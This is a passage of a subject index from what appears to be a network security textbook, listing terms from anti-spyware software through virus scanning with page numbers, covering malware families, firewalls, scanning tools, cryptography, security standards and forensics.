anti-spyware policies, 284

anti-spyware software, 280–284

characteristics of, 278–279

RedSheriff, 280

TSPY_FAREIT.YOI, 56

Trojan horses, 20–21, 67–69, 268–269

Anti-Spyware 2011, 271

Back Orifice, 270–271

Brain Test, 272

characteristics of, 269

creation of, 275–277

FinFisher, 272

FlashBack, 273

Gameover ZeuS, 55–56, 240, 273

Linux Trojan horses, 273–274

NetBus, 272–273

Portal of Doom, 274–275

prevention of, 277

Shedun, 272

symptoms of, 275

viruses

antivirus policies and procedures, 258

anti-virus software, 248–257

armored viruses, 244

boot sector viruses, 66, 244

defined, 61, 237

economic impact of, 63

encrypted viruses, 244

FakeAV, 54

Flame, 54

future of, 241

Gameover ZeuS, 55–56, 240

investigating, 260

Kedi RAT, 241

macro viruses, 66, 244

memory-resident viruses, 244

Mirai, 241

motivations behind, 64

multipartite viruses, 244

MyDoom, 20, 54–55
polymorphic viruses, 245
prevalence of, 236–237
removing, 260
Rombertik, 240
security policies for, 302
Shamoon, 240
Sobig, 62–63
sparse infector viruses, 244
spread of, 61–62, 237–239, 259–260
stealth viruses, 66–67, 244
stopping, 259–260
system security for, 259
types of, 244–245
virus hoaxes, 64–65, 241–243
virus scanning, 65, 245–248
virus variations, 63–64
Zafi, 239–240

worms, 53

defined, 237

Zafi, 239–240

Malwarebytes, 65, 257

man traps, 383

management guidelines, 351–352

managers, 125

Mandatory Access Control (MAC), 208

mandatory protection (Orange Book), 359

labeled security protection, 359–361

security domains, 362–363

structured protection, 361–362

manual scanning, 410–411

marketing, stealth, 458

Martin, Harold Thomas III, 447

MathWorld, 181

Matsui, Mitsuru, 166–167

maturity models, 352

maximum tolerable downtime (MTD), 387

**MBSA (Microsoft Security Baseline Analyzer),
336–338**

McAfee

anti-virus software, 248–250

ePolicy Orchestrator, 318

Personal Firewall, 108–109

virus scanner, 65

MCC (mobile country code), 436

McCumber cube, 342

goals, 342

information states, 342–343

safeguards, 343

MD5, 161

mean time between failures (MTBF), 387

mean time to repair (MTTR), 387

media access control (MAC) addresses, 9

medium-sized network firewalls, 113

- Check Point, 113–114
- Cisco next-generation firewalls, 114–115

memory-resident viruses, 244

Menezes-Qu-Vanstone (MQV), 157

micro blocks, 46

Microsoft Internet Explorer configuration, 225–228

- privacy settings, 226
- security settings, 226–228

Microsoft Outlook script viruses, 58, 237–239

Microsoft Security Baseline Analyzer (MBSA), 336–338

Microsoft security guidelines, 210

Microsoft Security TechCenter, 32

Microsoft security website, 65

minimal protection (Orange Book), 356

Mirai, 241

misuse of systems, 24

mitigation of risk, 313

Mitnick, Kevin, 22

MixColumns step (AES), 152

mobile country code (MCC), 436

mobile subscription identifier number (MSIN), 436

MOBILedit Forensic Express, 434

models. See security models

monitoring

threshold, 124

video, 384

***Moving from Windows to Linux* (Easttom), 223**

MP (Multilink Protocol), 179

MP+ (Multilink Protocol Plus), 179

MP3Stego, 168

MPLS (Multiprotocol Label Switching), 179

MQV (Menezes-Qu-Vanstone), 157

MS-CHAP, 182

**MSIN (mobile subscription identifier number),
436**

MTBF (mean time between failures), 387

MTD (maximum tolerable downtime), 387

MTTR (mean time to repair), 387

multi-alphabet substitution, 143

Multilink Protocol (MP), 179

Multilink Protocol Plus (MP+), 179

multipartite viruses, 244

multiple firewalls, 89

Multiprotocol Label Switching (MPLS), 179

MyDoom, 20, 54–55, 68

mysql.* file, 427

N

NAT (network address translation), 6, 93

**national defense systems, cyber terrorism
against, 450–451**

**National Initiative for Cybersecurity Careers and
Studies (NICCS), 29**

**National Institute of Standards and Technology.
See NIST (National Institute of Standards and
Technology)**

National Institutes for Health (NIH), 31–32

**National Security Agency. *See* NSA (National
Security Agency)**

NATO computers, attacks on, 452

NCPs (Network Control Protocols), 179

“need-to-know” approach, 446

Nessus, 332–333

net sessions command, 430

net start servicename command, 219

net stop servicename command, 219

net user command, 413

NetBIOS, 10

NetBrute, 326–328

NetBus, 272–273

NetCop, 324–326

netcraft.com, 397–398

NetDefend Network UTM Firewall DFL-2560,
112–113

netstat command, 13, 432

NetStat Live (NSL), 333–334

network address translation (NAT), 6, 93

network address translation table (iptables), 105

Network Control Protocols (NCPs), 179

network host-based firewalls, 84–85

network intrusion-detection mode (Snort), 127

Network layer (OSI model), 14, 180

Network Mapper (Nmap), 406–408

Network News Transfer Protocol (NNTP), 10

network protection documents, 344

Network Scanner (NSAuditor), 401

network scanning, 323–324

Active Port, 335–336

Cerberus Internet Scanner, 328–331

Fport, 336

MBSA (Microsoft Security Baseline Analyzer),
336–338

Nessus, 332–333

NetBrute, 326–328

NetCop, 324–326

Nmap, 338–340

NSAuditor, 338–340

NSL (NetStat Live), 333–334

organizational documentation, 334–335

SAINT (Security Administrator's Integrated Network Tool), 332

SATAN (Security Administrator Tool for Analyzing Networks), 331–332

SuperScan, 336

TCPView, 336

network security approaches

hybrid security approach, 30

layered security approach, 30

perimeter security approach, 30

network structure, 3. *See also* protocols

data packets, 4

IP addresses, 4–8

MAC addresses, 9

network classes, 5

OSI (Open Systems Interconnect) model, 14–15

subnetting, 6–7

URLs (Uniform Resource Locators), 4–9

network utilities. *See* commands

network-based intrusion detection system (NIDS), 126

network-based intrusion prevention system (NIPS), 126

new employees, security policies for, 299

***New Hackers Dictionary*, 27–28**

***New York Times*, attacks on, 453**

Next-Generation IPS, 127

NICCS (National Initiative for Cybersecurity Careers and Studies), 29

NIDS (network-based intrusion-detection system), 126

NIH (National Institutes for Health), 31–32

NIPS (network-based intrusion prevention system), 126

NIST (National Institute of Standards and Technology), 29, 111, 353
disaster recovery standards, 389
NIST SP 800–14, 353
NIST SP 800–30 Rev. 1, 354
NIST SP 800–35, 353
vulnerabilities database, 341

Nmap, 338–340, 406–408

NNTP (Network News Transfer Protocol), 10

non-repudiation, 28

North Korea, cyber terrorism by, 448, 453

Norton AntiVirus, 65, 251–254

Norton firewall (Symantec), 105–106

notifications, 125

NSA (National Security Agency)
espionage cases in, 447, 450
Windows security guidelines, 210

NSAuditor, 338–340, 400–402

enumeration, 403–404

Network Scanner, 401

opening screen, 400–401

Remote Explorer, 402–403

scan aggressiveness level, 402

scan types, 402

NSL (NetStat Live), 333–334

NTLMv2 Security, 216

ntuser.dat file, 211

null session access, 213–214

O

Office of Personnel Management, attacks on, 453

OMB Circular A-130, 31

Online Certificate Status Protocol (OSCP), 160

online resources, 32

Open mode (Specter), 130

open source tools

defined, 126

Snort, 126–127

Open Systems Interconnect (OSI) model, 14–15, 179–180

Open Web Application Security Project

(OWASP), 341

openfiles command, 431

operating system hardening, 202–203

browser settings, 225–228

Microsoft Internet Explorer, 225–228

other browsers, 228

Linux, 223–224

Windows, 203

accounts, 203–208

EFS (Encrypting File System), 219–222

registry settings, 211–216

security policies, 208–211

security templates, 222–223

services, 216–219

operating system utilities. *See* commands

operators, 125

OphCrack, 412–413

Orange Book (DoD), 355–356

discretionary protection, 356

controlled access protection, 357–359

discretionary security protection, 356–357

mandatory protection, 359

labeled security protection, 359–361

security domains, 362–363

structured protection, 361–362

minimal protection, 356

verified protection, 363–364

organizational documentation, 334–335

organizational policies, 211

OR operation, 146

OSCP (Online Certificate Status Protocol), 160

OSForensics, 438

**OSI (Open Systems Interconnect) model, 14–15,
179–180**

Outlook script viruses, 58, 237–239

**OWASP (Open Web Application Security
Project), 341**

Oxygen Forensics, 434

P

packet alteration table (iptables), 105

packet filtering table (iptables), 105

packet logger mode (Snort), 127

packet sniffer mode (Snort), 127

packet-filtering firewalls, 78–80

packets, 4

Pakistan, cyber attacks by, 452

Panda, 257

**PAP (Password Authentication Protocol),
182–183**

parallel testing, 388

passive searches, 397–398

PassMark Software OSForensics, 438

**Password Authentication Protocol (PAP),
182–183**

**Password-Based Key Derivation Function 2
(PBKDF2), 153**

passwords

bypassing, 411–412

cracking, 163–164, 416

security policies for, 208–210, 291–293

patches, 317

applying, 317–318

automatic patch systems, 318–319

Linux, 224

payloads, 167

**Payment Card Industry Data Security Standard
(PCI DSS), 375–376**

**PBKDF2 (Password-Based Key Derivation
Function 2), 153**

PC Cyborg Trojan, 243

**PCI DSS (Payment Card Industry Data Security
Standard), 375–376**

PCMag anti-spyware reviews, 284

PDOS (permanent denial of service), 50

penetration testers, 27, 397

***Penetration Testing Fundamentals* (Easttom),**

396

perimeter security approach, 30

permanent denial of service (PDoS), 50

personal identification number (PIN), 436

personal unblocking code (PUK), 436

personnel documentation, 344

pfSense, 83

PGP (Pretty Good Privacy), 160–161

phreaking, 27–28

physical access attacks, 411

domain admin privileges, obtaining, 413

OphCrack, 412–413

passwords, bypassing, 411–412

physical imaging, 435

Physical layer (OSI model), 14, 180

physical security, 321–323, 382–383

building access, 383–384

documentation, 343

equipment security, 383

fire protection, 384–385

general premises security, 385

video monitoring, 384

Pieprzyk, Josef, 162

PIN (personal identification number), 436

ping command, 12–13, 400

DoS (denial of service) attacks, 41–45

PoD (Ping of Death), 49

Ping of Death (PoD), 49

Pink Book (DoD), 366

PKI (public key infrastructure), 159

plaintext, 165

plans

BCPs (business continuity plans), 386

DRPs (disaster recovery plans), 386

PoD (Ping of Death), 49

Point-to-Point Protocol (PPP), 179

**Point-to-Point Tunneling Protocol. *See* PPTP
(Point-to-Point Tunneling Protocol)**

Poitier, Sydney, 27

policies, 290–291

documentation, 344

organizational policies, 211

system administration policies, 299

access control, 303–304

change requests, 300–301

developmental policies, 304–305

leaving employees, 299–300

new employees, 299

security breaches, 301–303

user policies

account lockout policies, 210

anti-spyware policies, 284

- antivirus policies and procedures, 258
- BYOD (Bring Your Own Device), 297–298
- consequences for violating, 298
- CYOD (Choose Your Own Device), 297
- defining, 291
- desktop configuration, 296–297
- e-mail attachments, 294–295
- instant messaging, 296
- Internet use, 293–294
- password policies, 208–210
- passwords, 291–293
- software installation and removal, 296
- termination or expulsion and, 297
- Trojan horse protection, 277–278

Windows configuration

- account lockout policies, 210
- organizational policies, 211
- password policies, 208–210

polymorphic viruses, 66, 245

POP3 (Post Office Protocol Version 3), 10

port scanning

- Active Port, 335–336
- defined, 399
- enumeration, 403–408
 - defined, 399
- FreeNetEnumerator, 405–406

NSAuditor, 403–404

ShareEnum, 405

Fport, 336

Nmap, 406–408

NSAuditor, 400–402

SuperScan, 336

TCPView, 336

types of, 400

ZenMap, 406

Portal of Doom, 274–275

ports. *See also* port scanning

closing, 320

filtering, 219

security audits, 319

Post Office Protocol Version 3 (POP3), 10

PPP (Point-to-Point Protocol), 179

**PPTP (Point-to-Point Tunneling Protocol),
178–181, 186–187**

authentication

CHAP (Challenge Handshake Authentication
Protocol), 181

EAP (Extensible Authentication Protocol), 180

compared to L2TP, 186–187

defined, 178

OSI (Open Systems Interconnect) model, 179–180

voluntary versus compulsory tunneling, 180

preemptive action, 457

preemptive blocking, 123, 132

Preneel, Bart, 162

preparation for hacking, 397

active scanning

enumeration, 403–406

Nmap, 406–408

NSAuditor, 400–402

Shodan.io, 408–410

types of, 399–400

manual scanning, 410–411

passive searches, 397–398

Presentation layer (OSI model), 14, 180

Pretty Good Privacy (PGP), 160–161

Privacy Act, 31

privacy settings (IE), 226

private addresses, 7

private keys, 154–155

privileges

domain admin privileges, obtaining, 413

least privileges, 29

Windows accounts, 207–208

PRNG (pseudo-random number generators), 154

probe documents, 344

probing networks, 323–324

Active Port, 335–336

Cerberus Internet Scanner, 328–331

Fport, 336

MBSA (Microsoft Security Baseline Analyzer),
336–338

Nessus, 332–333

NetBrute, 326–328

NetCop, 324–326

Nmap, 338–340

NSAuditor, 338–340

NSL (NetStat Live), 333–334

organizational documentation, 334–335

SAINT (Security Administrator's Integrated Network
Tool), 332

SATAN (Security Administrator Tool for Analyzing
Networks), 331–332

SuperScan, 336

TCPView, 336

process descriptions, 351

processes (IDSs), 125–126

profiling

executable, 125

resource, 124

user/group work, 124–125

propaganda, dissemination of, 456

protection, security, 320–321

protocols

AP (Authentication Header), 187
ARP (Address Resolution Protocol), 9
CHAP (Challenge Handshake Authentication Protocol), 181
DHCP (Dynamic Host Control Protocol) starvation, 50
DNS (Domain Name Service), 9
EAP (Extensible Authentication Protocol), 180
FTP (File Transfer Protocol), 9
HTTP (Hypertext Transfer Protocol) Post DoS attacks, 50
HTTPS (Hypertext Transfer Protocol Secure), 10
ICMP (Internet Control Message Protocol), 400
 flooding, 50
 logical port, 10
IKE (Internet Key Exchange), 188
IP (Internet Protocol)
 addresses, 4–8
 IP spoofing, 59–60
IPSec (Internet Protocol Security), 187–188
IRC (Internet Relay Chat), 10
Kerberos, 183–186
L2TP (Layer 2 Tunneling Protocol)
 authentication, 182–186
 compared to PPTP, 186–187
 defined, 181

LCP (Link Control Protocol), 179
logical ports for, 9–10
MP (Multilink Protocol), 179
MP+ (Multilink Protocol Plus), 179
MS-CHAP, 182
NCPs (Network Control Protocols), 179
NetBIOS, 10
NNTP (Network News Transfer Protocol), 10
OSCP (Online Certificate Status Protocol), 160
PAP (Password Authentication Protocol), 182–183
POP3 (Post Office Protocol Version 3), 10
PPP (Point-to-Point Protocol), 179
PPTP (Point-to-Point Tunneling Protocol), 178–181
 authentication, 180–181
 compared to L2TP, 186–187
 defined, 178
 OSI (Open Systems Interconnect) model, 179–180
 voluntary versus compulsory tunneling, 180
SMB (Server Message Block), 10
SMTP (Simple Mail Transfer Protocol), 9
SPAP (Shiva Password Authentication Protocol), 183
SSH (Secure Shell), 9
SSL (Secure Sockets Layer), 188–190
TCP (Transmission Control Protocol), 60–61
TCP/IP (Transmission Control Protocol/Internet Protocol), 10, 215

Telnet, 9

tFTP (Trivial File Transfer Protocol), 9

TLS (Transport Layer Security), 4, 188–190

UDP (User Datagram Protocol) flooding, 49–50

proxy servers

advantages of, 91–92

defined, 28

WinGate proxy server, 92–93

pseudo-random number generators (PRNG), 154

public addresses, 7

public key encryption, 154–155

Diffie-Hellman, 156–157

DSA (Digital Signature Algorithm), 157

ElGamal, 157

Elliptic Curve, 157

MQV (Menezes-Qu-Vanstone), 157

RSA method, 154–155

public key infrastructure (PKI), 159

public keys, 154–155

PUK (personal unblocking code), 436

Purple Book (DoD), 366

Q

quantum computing, 169

quantum cryptography, 169

qubits, 169

Quick Mode IPSec negotiation, 188

QuickStego, 168

R

**RACE Integrity Primitives Evaluation Message
Digest (RIPEMD), 162**

Radio Free Europe, 457

**RAID (redundant array of independent disks),
391–392**

rail fence, 143–144

Rainbow Series (DoD)

Aqua Book, 365

Blue Book, 366

BlueBook, 367

Bright Blue Book, 365

Brown Book, 366

Burgundy Book, 365

Forest Green Book, 367

Grey/Silver Book, 366

Hot Peach Book, 367

Lavender Book, 365

Lavender/Purple Book, 366

Light Blue Book, 366

Light Pink Book, 367

Orange Book, 355–356
discretionary protection, 356–359
mandatory protection, 359–363
minimal protection, 356
verified protection, 363–364

Pink Book, 366

Purple Book, 366

Red Book, 366

Tan Book, 365

Turquoise Book, 367

Venice Blue Book, 366

Violet Book, 367

Yellow Book, 367

Yellow-Green Book, 366

rainbow tables, 164

ransomware, 67, 243

CryptoLocker, 56

CryptoWall, 56

Linux.Encoder.1, 241

RAs (registration authorities), 159

**Rating Maintenance Phase Program Document
(DoD), 366**

Raw Quick Pair (RQP), 168

RBAC (Role Based Access Control), 208

rc.local file, 223

recovering deleted files, 428–430

recovery time objective (RTO), 387

Red Book (DoD), 366

Redford, Robert, 27

RedSheriff, 280

**redundant array of independent disks (RAID),
391–392**

regedit, 211

regedit32, 211

registration authorities (RAs), 159

Registry Editor dialog box, 212

registry settings, 211

additional settings, 216

anonymous access, 214–215

default shares, 215

null session access, 213–214

remote access, 216

TCP/IP stack settings, 215

viewing, 211–213

Rejewski, Marian, 145

related key attacks, 165

remote access

attacks, 413

cross-site scripting, 415

SQL injection, 413–415

Windows registry, 216

Remote Explorer, 402

removing software

security policies for, 296

spyware

Gator, 279–280

Spy Sweeper, 281–282

Zero Spyware, 283

uninstalled software, finding, 433

viruses, 260

requests, change, 300–301

residual risk, 313

resource profiling, 124

Rijmen, Vincent, 151

Rijndael cipher, 150, 151

RIPEMD (RACE Integrity Primitives Evaluation Message Digest), 162

risk acceptance, 314

risk assessment

ALE (annualized loss expectancy), 313

residual risk, 313

risk evaluation, 314–316

SLE (single loss expectancy), 313

risk evaluation, 313, 314–316

risk mitigation, 313

risk transference, 314

Rivest, Ron, 155, 161

Role Based Access Control (RBAC), 208

Rombertik, 240
ROT 13, 142–143
router-based firewalls, 87–88
routers, filtering, 60
Rozycki, Jerzy, 145
RQP (Raw Quick Pair), 168
RSA method, 154–155
RST cookies, 47
RTO (recovery time objective), 387
**Russian Domestic Security Service (FSB),
hacking of, 459**
Russian password crackers, 164

S

safeguards, 343
**SAINT (Security Administrator's Integrated
Network Tool), 332**
SAM (Security Accounts Manager) files, 412
SANS Institute, 29, 32, 57, 440
**Santa Cruz Operation (SCO) website, attack
against, 54–55**
Sarbanes-Oxley (SOX), 31, 32, 373–374
**SATAN (Security Administrator Tool for
Analyzing Networks), 331–332**
scanning

active

- enumeration, 403–406

- Nmap, 406–408

- NSAuditor, 400–402

- Shodan.io, 408–410

- types of, 399–400

- ZenMap, 406

manual, 410–411

network, 323–324

- Active Port, 335–336

- Cerberus Internet Scanner, 328–331

- Fport, 336

- MBSA (Microsoft Security Baseline Analyzer),
336–338

- Nessus, 332–333

- NetBrute, 326–328

- NetCop, 324–326

- Nmap, 338–340

- NSAuditor, 338–340

- NSL (NetStat Live), 333–334

- SAINT (Security Administrator's Integrated
Network Tool), 332

- SATAN (Security Administrator Tool for
Analyzing Networks), 331–332

- SuperScan, 336

- TCPView, 336

organizational documentation, 334–335

virus scanners, 65, 245–246

Scherbius, Arthur, 145

Schneier, Bruce, 151, 153

**Scientific Working Group on Digital Evidence
(SWGDE), 422**

**SCO (Santa Cruz Operation) website, attack
against, 54–55**

screened hosts, 88–89

script kiddies, 26

Seberry, Jennifer, 162

Secret Service forensics guidelines, 422–423

Secure Hash Algorithm (SHA), 161–162

Secure mode (Specter), 130

Secure Shell (SSH), 9

Secure Sockets Layer (SSL), 188–190

Securedc.inf template, 222

Securews.inf template, 222

Security Accounts Manager (SAM) files, 412

**Security Administrator Tool for Analyzing
Networks (SATAN), 331–332**

**Security Administrator's Integrated Network
Tool (SAIN), 332**

security audits, 29, 312

audit trails, 421

documentation, 343–344

- McCumber cube, [342](#)
 - goals, [342](#)
 - information states, [342–343](#)
 - safeguards, [343](#)
- network scanning, [323–324](#)
 - Active Port, [335–336](#)
 - Cerberus Internet Scanner, [328–331](#)
 - Fport, [336](#)
 - MBSA (Microsoft Security Baseline Analyzer), [336–338](#)
 - Nessus, [332–333](#)
 - NetBrute, [326–328](#)
 - NetCop, [324–326](#)
 - Nmap, [338–340](#)
 - NSAuditor, [338–340](#)
 - NSL (NetStat Live), [333–334](#)
 - SAINT (Security Administrator's Integrated Network Tool), [332](#)
 - SATAN (Security Administrator Tool for Analyzing Networks), [331–332](#)
 - SuperScan, [336](#)
 - TCPView, [336](#)
- organizational documentation, [334–335](#)
- patches, [317](#)
 - applying, [317–318](#)
 - automatic patch systems, [318–319](#)

physical security, 321–323

ports, 319

protection, 320–321

risk assessment

 ALE (annualized loss expectancy), 313

 residual risk, 313

 risk evaluation, 314–316

 SLE (single loss expectancy), 313

vulnerabilities, 341

 CVE (Common Vulnerabilities and Exposures),
 341

 NIST (National Institute of Standards and
 Technology), 341

 OWASP (Open Web Application Security Project),
 341

security breaches, security policies for, 301–303

 DoS (denial of service), 302

 hacker intrusions, 302–303

 viruses, 302

security documentation, 343–344

security domains (Orange Book), 362–363

**Security Information and Event Manager
(SIEM), 91**

Security log, 426

security models, 369

 Bell-LaPadula model, 370–371

Biba Integrity model, 371

Chinese Wall model, 372

Clark-Wilson model, 371–372

State Machine model, 372–373

security policies, 290–291

organizational policies, 211

system administration policies, 299

access control, 303–304

change requests, 300–301

developmental policies, 304–305

leaving employees, 299–300

new employees, 299

security breaches, 301–303

user policies

account lockout policies, 210

anti-spyware policies, 284

BYOD (Bring Your Own Device), 297–298

consequences for violating, 298

CYOD (Choose Your Own Device), 297

defining, 291

desktop configuration, 296–297

e-mail attachments, 294–295

instant messaging, 296

Internet use, 293–294

password policies, 208–210

passwords, 291–293

software installation and removal, 296

termination or expulsion and, 297

Trojan horse protection, 277–278

Windows configuration

account lockout policies, 210

organizational policies, 211

password policies, 208–210

security resources, 32

security settings (IE), 226–228

security standards, 350. *See also* DoD

(Department of Defense) Rainbow Series

COBIT (Control Objectives for Information and
Related Technologies), 350–352

Common Criteria, 367–369

ISO (International Organization for
Standardization), 352–353

NIST (National Institute of Standards and
Technology), 353

NIST SP 800–14, 353

NIST SP 800–30 Rev. 1, 354

NIST SP 800–35, 354

security models, 369

Bell-LaPadula model, 370–371

Biba Integrity model, 371

Chinese Wall model, 372

Clark-Wilson model, 371–372

State Machine model, 372–373

U.S. federal regulations and standards, 373

CFAA (Computer Fraud and Abuse Act), 374

Fraud and Related Activity in Connection with
Access Devices, 375

GDPR (General Data Protection Regulation), 375

HIPAA (Health Insurance Portability and
Accountability Act), 373

HITECH (Health Information Technology for
Economic and Clinical Health Act), 373

PCI DSS (Payment Card Industry Data Security
Standard), 375–376

SOX (Sarbanes-Oxley), 373–374

security templates, 222–223

security terminology, 28–29

sensors, 125

Serpent, 153

Server Message Block (SMB), 10

servers

proxy servers

advantages of, 91–92

defined, 28

Symantec Decoy Server, 131–132

WinGate proxy server, 92–93

service set identifiers (SSIDs), 433

service VPN solutions, 191

services, 216

firewalls, 219

port filtering, 219

shutting down, 217–219

Services dialog box, 217–218

Services log, 426

session hijacking, 60–61

Session layer (OSI model), 14, 180

Setup security.inf template, 223

SHA (Secure Hash Algorithm), 161–162

Shamir, Adi, 155, 166

Shamoon, 240

ShareEnum, 405

Shedun, 272

ShiftRows step (AES), 152

**Shiva Password Authentication Protocol (SPAP),
183**

Shodan.io, 408–410

shutting down services, 217–219

**SIEM (Security Information and Event
Manager), 91**

signatures, digital, 157–160

sign-in sheets, 383

SIM (Subscriber Identity Module), 436

Simple Mail Transfer Protocol (SMTP), 9

simulations of DRPs (disaster recovery plans),

387

single loss expectancy (SLE), 313

single machine firewalls, 101

extra firewall features, 110

ICF (Internet Connection Firewall), 102

Linux firewalls, 104–106

ipchains, 104

iptables, 104–106

McAfee Personal Firewall, 108–109

Symantec Norton, 105–106

UAC (User Account Control), 104

Windows 10 Firewall, 102–103

skilled hackers, 17

SLE (single loss expectancy), 313

Sleuth Kit (TSK), 438

**small office/home office firewalls. *See* SOHO
(small office/home office) firewalls**

SMB (Server Message Block), 10

SMTP (Simple Mail Transfer Protocol), 9

Smurf attacks, 48–49

sneakers, 27

***Sneakers* (film), 27**

Snort, 126–127

network intrusion-detection mode, 127

packet logger mode, 127

packet sniffer mode, 127

SNOW, 168

Snowden, Edward, 447

Sobig virus, 62–63

social engineering, 22

software installation, security policies for, 296

**SOHO (small office/home office) firewalls, 78,
110**

D-Link DFL-2560 Office Firewall, 112–113

SonicWALL, 110–112

SonicWALL, 80, 110–112

SOX (Sarbanes-Oxley), 31, 32, 373–374

**SPAP (Shiva Password Authentication Protocol),
183**

sparse infector viruses, 66, 244

specialist support, 421

Specter, 129–131

**SPI (stateful packet inspection) firewalls, 47,
80–81**

spoofing, IP, 59–60

spread of viruses, 61–62

Spy Sweeper, 281–282

spyware, 21. *See also* espionage

anti-spyware policies, 284

anti-spyware software, 280–284

researching and comparing, 284

Spy Sweeper, 281–282

Zero Spyware, 283

characteristics of, 278–279

RedSheriff, 280

TSPY_FAREIT.YOI, 56

SQL (Structured Query Language) injection,
413–415

SSH (Secure Shell), 9

SSIDs (service set identifiers), 433

SSL (Secure Sockets Layer), 188–190

stack tweaking, 47, 215

standards. *See* security standards

State Machine model, 372–373

stateful packet inspection (SPI) firewalls, 47,
80–81

stateless packet filtering, 81

Stealth Files 4, 168

stealth marketing, 458

stealth viruses, 66–67, 244

steganalysis, 168–169

steganography, 167–168

Strange mode (Specter), 130

stream ciphers, 151

structured protection (Orange Book), 361–362

Structured Query Language (SQL) injection,
413–415

SubBytpes step (AES), 151

subnet masks, 6–7

subnetting, 6–7

Subscriber Identity Module (SIM), 436

substitution ciphers

Caesar cipher, 141–142

multi-alphabet substitution, 143

rail fence, 143–144

ROT 13, 142

Vigenère, 144

SuperScan, 336

SWGDE (Scientific Working Group on Digital Evidence), 422

SWGDE Model Standard Operation Procedures for Computer Forensics, 422

Symantec Decoy Server, 131–132

Symantec Norton firewall, 105–106

symmetric encryption, 148

AES (Advanced Encryption Standard), 151–152

Blowfish, 151

DES (Data Encryption Standard), 148–150

IDEA (International Data Encryption Algorithm),
152–153

Serpent, 153

Twofish, 153

SYN flooding, defending against, 45–47

bandwidth throttling, 46

- micro blocks, [46](#)
- RST cookies, [47](#)
- stack tweaking, [47](#)
- SYN cookies, [46](#)
- SYS scans, [400](#)

SYN-ACK flag, [400](#)

SynAttackProtect, [216](#)

syslog, [91](#)

system administration policies, [299](#)

- access control, [303–304](#)
- change requests, [300–301](#)
- developmental policies, [304–305](#)
- leaving employees, [299–300](#)
- new employees, [299](#)
- security breaches, [301–303](#)
 - DoS (denial of service), [302](#)
 - hacker intrusions, [302–303](#)
 - viruses, [302](#)

system logs, [426](#)

- Linux logs, [427](#)
- Windows logs, [426–427](#)

system security assessment. *See* [security audits](#)

T

Tamil guerrillas, cyber attacks by, [452](#)

Tan Book (DoD), 365
tax return hoax, 242–243
TCP (Transmission Control Protocol) session hijacking, 60–61
TCP/IP (Transmission Control Protocol/Internet Protocol), 10, 215
TCPView, 336
Telnet, 9, 410
templates, security, 222–223
Terminate and Stay Resident (TSR) program, 245–246
termination, security policies and, 297
terminology
 hacking terminology, 25–28
 security terminology, 28–29
terrorism. *See* cyber terrorism
testing disaster recovery, 387–388
tFTP (Trivial File Transfer Protocol), 9
threat assessment, 15–18, 24–25
threats. *See* attacks
threshold monitoring, 124
TLS (Transport Layer Security), 4, 188–190
tool certifications, 440
tools. *See* individual tool names
“trace back” detection, 124
traceroute command, 50, 109

tracert command, 13, 50

transference of risk, 314

Transmission Control Protocol (TCP) session hijacking, 60–61

Transmission Control Protocol/Internet Protocol (TCP/IP), 10

Transport layer (OSI model), 14, 180

Transport Layer Security (TLS), 4, 188–190

transport mode (IPSec), 187

Trithemius, Johannes, 167

Trivial File Transfer Protocol (tFTP), 9

Trojan horses, 67–69, 268–269

- Anti-Spyware 2011, 271
- Back Orifice, 270–271
- Brain Test, 272
- characteristics of, 269
- creation of, 275–277
- defined, 20–21
- FinFisher, 272
- FlashBack, 273
- Gameover Zeus, 55–56, 240, 273
- Linux Trojan horses, 273–274
- NetBus, 272–273
- Portal of Doom, 274–275
- prevention of
 - policy measures, 277–278

technological measures, 277

Shedun, 272

symptoms of, 275

Trusted Database Management System

Interpretation (DoD), 366

Trusted Network Interpretation Environments

Guideline (DoD), 366

Trusted Product Evaluation - A Guide for

Vendors (DoD), 365

Trusted Product Evaluation Questionnaire

(DoD), 366

Trusted UNIX Working Group (TRUSIX)

Rationale for Selecting Access Control List

Features for the UNIX System (DoD), 366

Trusted XENIX, 361

TSPY_FAREIT.YOI, 56

TSR (Terminate and Stay Resident) program,

245–246

tunnel mode (IPSec), 187

Turing, Alan, 145

Turquoise Book (DoD), 367

Tutorials Point, 181

Twofish, 153

U

UAC (User Account Control), 104

Udacity, cryptography courses on, 147

UDP (User Datagram Protocol) flooding, 49–50

UMTS (Universal Mobile Telecommunications System), 436

Uniform Resource Locators (URLs), 4–9

uninstalled software, finding, 433

unique logons, 82

Universal Mobile Telecommunications System (UMTS), 436

unskilled hacker, 17

URLs (Uniform Resource Locators), 4–9

U.S. DoD (Department of Defense) Rainbow Series. *See* DoD (Department of Defense) Rainbow Series

U.S. federal regulations and standards, 373

 CFAA (Computer Fraud and Abuse Act), 374

 Fraud and Related Activity in Connection with Access Devices, 375

 GDPR (General Data Protection Regulation), 375

 HIPAA (Health Insurance Portability and Accountability Act), 373

 HITECH (Health Information Technology for Economic and Clinical Health Act), 373

 PCI DSS (Payment Card Industry Data Security Standard), 375–376

 SOX (Sarbanes-Oxley), 373–374

U.S. National Security Agency (NSA). *See* NSA (National Security Agency)

U.S. Secret Service forensics guidelines, 420, 422–423

USB information, 432

USBSTOR key, 432

User Account Control (UAC), 104

User Datagram Protocol (UDP) flooding, 49–50

user policies, 290–291

anti-spyware policies, 284

antivirus policies and procedures, 258

BYOD (Bring Your Own Device), 297–298

consequences for violating, 298

CYOD (Choose Your Own Device), 297

defining, 291

desktop configuration, 296–297

e-mail attachments, 294–295

instant messaging, 296

Internet use, 293–294

password policies, 208–210

passwords, 291–293

software installation and removal, 296

termination or expulsion and, 297

Trojan horse protection, 277–278

Windows

account lockout policies, 210

password policies, 208–210

user/group work profiling, 124–125

user.log file, 427

utilities. *See* commands

V

/var/log/apache2/*, 427

/var/log/apport.log, 427

/var/log/faillog, 427

/var/log/kern.log, 427

/var/log/lighttpd/*, 427

/var/log/lpr.log, 427

/var/log/mail.*, 427

/var/log/mysql.*, 427

/var/log/user.log, 427

VBA (Visual Basic for Applications), 58, 66

VBScript, 66

Venema, Wietse, 331

Venice Blue Book (DoD), 366

VeraCrypt, 447

verified protection (Orange Book), 363–364

video monitoring, 384

Vietnam War, 457

Vigenère, 144

Vigenère, Blaise de, 143, 144

Violet Book (DoD), 367

virtual private networks. *See* VPNs (virtual private networks)

virulence, 62

virus hoaxes, 241

Jdbgmgr, 241–242

tax return hoax, 242–243

W32.Torch hoax, 243

virus scanner software, 245–246

virus scanning

active code scanning, 247

download scanning, 246

e-mail and attachment scanning, 246

file scanning, 246–247

heuristic scanning, 247

instant message scanning, 247–248

virus scanner software, 245–246

viruses. *See also* ransomware

anti-virus software, 248

Avast Antivirus, 254–255

AVG, 255

Kaspersky, 256

Malwarebytes, 257

